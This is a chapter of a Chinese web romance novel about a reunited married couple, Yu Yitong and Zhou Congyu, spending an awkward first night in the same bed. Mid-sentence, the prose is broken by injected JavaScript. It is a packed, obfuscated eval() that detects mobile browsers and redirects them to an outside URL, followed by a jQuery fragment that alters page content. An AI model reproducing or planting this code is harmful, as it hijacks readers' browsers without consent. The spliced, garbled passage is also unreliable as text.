俞漪同洗得很快,哗啦的水流声停止,她将潮湿的头发用干发帽包裹起来。
脑海中还在猜测,周从聿的书签上到底写了什么让他这么宝贝。
她第一次见周从聿如此紧张,好像拿到了这张书签,就可以掌握他的生杀大权。
这让俞漪同更加好奇了。
她在睡裙外面又披了件浴袍,白色的毛巾质地软和又温暖,腰带被她随意地系在腰间。睡裙是新的,不知道周从聿什么时候买的,镶嵌着花边的米色领口,裙摆上是粉色的格子图案。
“好幼稚。”俞漪同在心里吐槽,身体却还是乖乖地穿上了。
将干发帽取下来,俞漪同拿着桌上的梳子很细心地梳通自己的头发,看着台盆里掉落的几根,她在心里暗自缅怀它们的离去。
头发梳完,她却没有在卫生间里找到吹风机。
“周从聿,你们家……”不得已打开门,俞漪同看见周从聿正坐在床边,耳朵里带着一只蓝牙耳机。
听到门打开的声音,周从聿抬起头循声望去。俞漪同发梢的水正顺着她的肩头往下淌,浴袍的领口处呈现出被水打湿的深色。
俞漪同这才发现周从聿正在打电话。
她一时不知道该不该打断他,于是将原本已经伸出来的一只脚又收回了卫生间里。
周从聿看出了她的犹豫,他低声对电话那头的人说:“稍等,你们先接着汇报。”随后在手机屏幕上点了静音。
“怎么了?”
“吹风机在哪?”俞漪同边问,边用刚拿下来的干发帽重新将湿漉漉的头发包裹起来。
头发白梳了,那倒霉的几根也白掉了。
周从聿放下手机站起来,起身去帮她找。
俞漪同的眼睛拐到一旁的双人床上,看着并排放的两个枕头,后知后觉地意识到,她即将真正迎来她和周从聿结婚后第一个同床共枕的夜晚。
这次是真的要发生了。
俞漪同觉得自己的心很快地跳了一下。
眼皮也是。
正胡思乱想间,周从聿已经拿着吹风机走了过来。俞漪同刚想伸手去接,却见他很自然地插上插头,将风调成温热适宜的温度。
吹风机的风呼呼作响。
周从聿用眼神示意她过来。
明明是以前很熟悉很自然的流程,在此刻却变得有些生硬别扭。
俞漪同将干发帽解开,放在一旁桌上。
周从聿的电话没停,俞漪同看见他的手机屏幕亮起,有一条工作消息,是一张对方发来的图片,不知道是什么报表,密密麻麻的数字看得人头脑发麻。
只看了一眼,俞漪同将眼睛移开。数字什么的,她多看一眼就要打瞌睡。
她对数字不敏感,以至于高中数学一直在平均线边缘徘徊。文科的优势时常被理科拖了后腿,解不出题时她就去烦周从聿。
她将毛茸茸的头搭在周从聿的臂弯,颐指气使地指着桌上的数学试卷:“我平等地憎恨每一个能做出最后倒数三道大题的人。”
周从聿翻过她的试卷往后看,关键词圈得一本正经,辅助线也画得如虎添翼,但答题卡上充满了留白的美感。
他拍拍手臂上枕着的头,柔软的发丝挠着他的手心。稍微低下头,鼻尖恰好能碰到俞漪同的耳朵。
“确实可恨,”他顺着俞漪同的话往下说,有样学样地装作同样忿忿不平的样子,“但能不能把我踢出这份名单。”
“不能,”俞漪同拍开他放在自己发心的手,将背面空白的数学试卷拽回来塞进课桌里,头也不回地咬牙切齿,“罚你今天教会我,以及,罚你放学后替我值日。”
周从聿看了眼亮起的屏幕却没管。
俞漪同背对着他,看不到他的脸,只有耳边的风声喧闹。
她僵直了背,任由头发披散着。
头发长了一直没去理发店修剪,发尾的卷度因为洗了又洗而开始变直。
周从聿的手穿过她湿湿的头发,很快指缝里就沾染了水汽。
他将俞漪同的头发拨开,从头顶开始吹。
头顶的凉意被吹散,俞漪同将肩背舒展开,慢慢地放松下来。
夜色之中,静到只剩吹风机的声音。
两个人都不说话,好像在演一出默剧。
“啪嗒”一声响起,周从聿将吹风机的开关拨回关闭的一侧,暖风适时地停止。俞漪同的思绪被拉扯回现实,她摸了摸自己的头顶,热热的,发丝也很顺滑。
护发素的香气随着热风飘散开来。
周从聿将吹风机收起来,才从一旁重新拿起手机,将静音取消,边向阳台走去边说:“嗯,我在听。”
阳台的窗帘被拉开,周从聿背对着她站在初秋的晚风里。
他们之间的关系好像是奇怪又偏执的代名词。俞漪同清楚地感受到分开的这段时间给彼此带来的变化,却又时常恍惚这场博弈中或许没有输赢可分。
微信收到消息,是办公室的群里在闲聊。
俞漪同点开聊天框,就看见坐在她对面工位的方明在发言。
说起来他和学校的哪位领导沾亲带故,消息自然比其他人灵通些。
【下周有新人要入职。】
【消息保真。】
下面是一个欢呼雀跃的表情包。
马上有人接话,问方明新同事的具体信息,方明却神神秘秘地说要保密,等下周一上班了就知道。
俞漪同默默关闭聊天框退了出去。
宣传办已经很久没有新鲜血液输送进来了,今年老师退休,空出了一个位置,马主任亲自把关,终于紧赶慢赶在开学一周后招进了一个新人。
不知道新同事是个什么样的人,俞漪同心中隐隐有些期待。
周从聿电话打完,推开阳台门回到房间。俞漪同正靠在床头给手机充电,她将床头的靠枕抱在手里,盘腿坐在被子上。
等周从聿洗完澡从卫生间出来,俞漪同依旧是同样的姿势一动不动,好像一尊雕塑。身上的浴袍松垮地套着,腰带像是摆设一般散了一半,露出睡裙下修长的腿。
周从聿收回目光,没说什么。他掀开右侧的被子躺下,床微微向下塌陷。
沐浴露的清香和睡衣混在一起,这让俞漪同微微有些不自然。
“你准备这样坐到天亮吗?”周从聿掀起眼皮,看了身旁的人一眼。
夜幕四合,周遭是无比静谧的夜。
俞漪同默默地挪动,从被子上面挪到床边,然后掀开被子躺下。
卧室的灯关了。
一下子陷入黑暗,没有光源。
俞漪同睁着眼睛,两只手平放在身侧,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816516|190912||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一动未动。
她能听到周从聿平稳的呼吸声,越是寂静的环境越是让她觉得清晰。
同样清晰的,还有自己的心跳声。
四肢僵硬,俞漪同在心里默默祈祷周从聿快睡着,或者是她自己快睡着。
一晚上很快的,眼睛一闭一睁就过去了。
醒来又是新的一天。
明天就可以回家了。
平躺着让她觉得浑身难受,习惯了侧着身睡觉,这样的姿势让她难以入眠。
俞漪同真的毫无睡意,思维也跟着越来越清晰。
床头柜上的小夜灯不知何时亮起,闪烁着微弱的光。
借着这微弱的光线,俞漪同侧过身去。
周从聿躺在她的右手边,呼吸很浅。透过零星的光源,她用眼睛描摹着周从聿的脸部线条。
流畅又棱角分明,鼻梁高挺,他的睫毛很长,闭上眼睛后和下睫毛交叠在一起,眼下被投下淡淡的阴影。
俞漪同动了动身下压着的手,视线又停留在周从聿的唇上。
两片薄唇紧闭着。她悄悄偏过头,注视的目光愈发大胆。
周从聿几乎没有动静,俞漪同猜测他已经睡着了。
曾几何时,她也喜欢在睡不着的时候盯着周从聿发呆,手指从他的头顶往下,轻轻抚摸他的眉骨,然后勾勒出他鼻梁的形状,最后停留在他的唇畔。
恶作剧一般地戳戳周从聿的脸,大部分时候不会被他发现,只有小部分时候倒霉透顶,周从聿会在此时突然睁开眼,然后睡眼惺忪地抓住她不安分的手,声音里还是浓浓的倦意。
“我睡不着,”俞漪同小声地往他怀里钻,灵活的手指从他手中逃脱,指甲刮过他脖颈处微凸的喉结,“我们干点其他事吧。”
俞漪同转过身去,重新回到最开始平躺的姿势。
只觉得有些口干舌燥。
她努力咽了咽口水,心里的痒意更甚。
时间一分一秒地过,俞漪同伸出手去床头柜上摸手机。屏幕亮起,刚过十二点。
小心翼翼地从床上撑起身,她的脚在黑暗中摸索拖鞋。
回头看向另一侧躺着的人,好险,还好没有吵醒他。
俞漪同蹑手蹑脚地推开卧室门,准备去客厅给自己倒一杯水。
手机手电筒的光在偌大的房子里显得九牛一毛,她用仅存的光线照亮脚下的路,无头苍蝇一样摸了半天没找到客厅灯的开关。
算了,凑合吧。
餐桌上放着凉好白开水的水壶,杯子被叶嫂摆放的整整齐齐。
她将手机放下,唯一的光源一下子就暗了许多。
水壶的杯壁碰到杯口,发出清脆的声响。
水流声在此刻显得格外清晰。
“我家是欠水费了?喝个水还这么小心翼翼的。”
身后的声音骤然响起。
俞漪同心头一惊。
人在高度紧张时往往容易受到惊吓。
端着水杯的手一抖,转身时“哗啦”一下全洒在了身后人的胸膛上。
水顺着俞漪同的指缝往下淌,最后落在了脚下的地毯上。
手机的光线彻底暗了。
她看不清周从聿的表情,只觉得黑暗中他的声音格外咬牙切齿,像是紧咬着后槽牙。
“俞漪同!”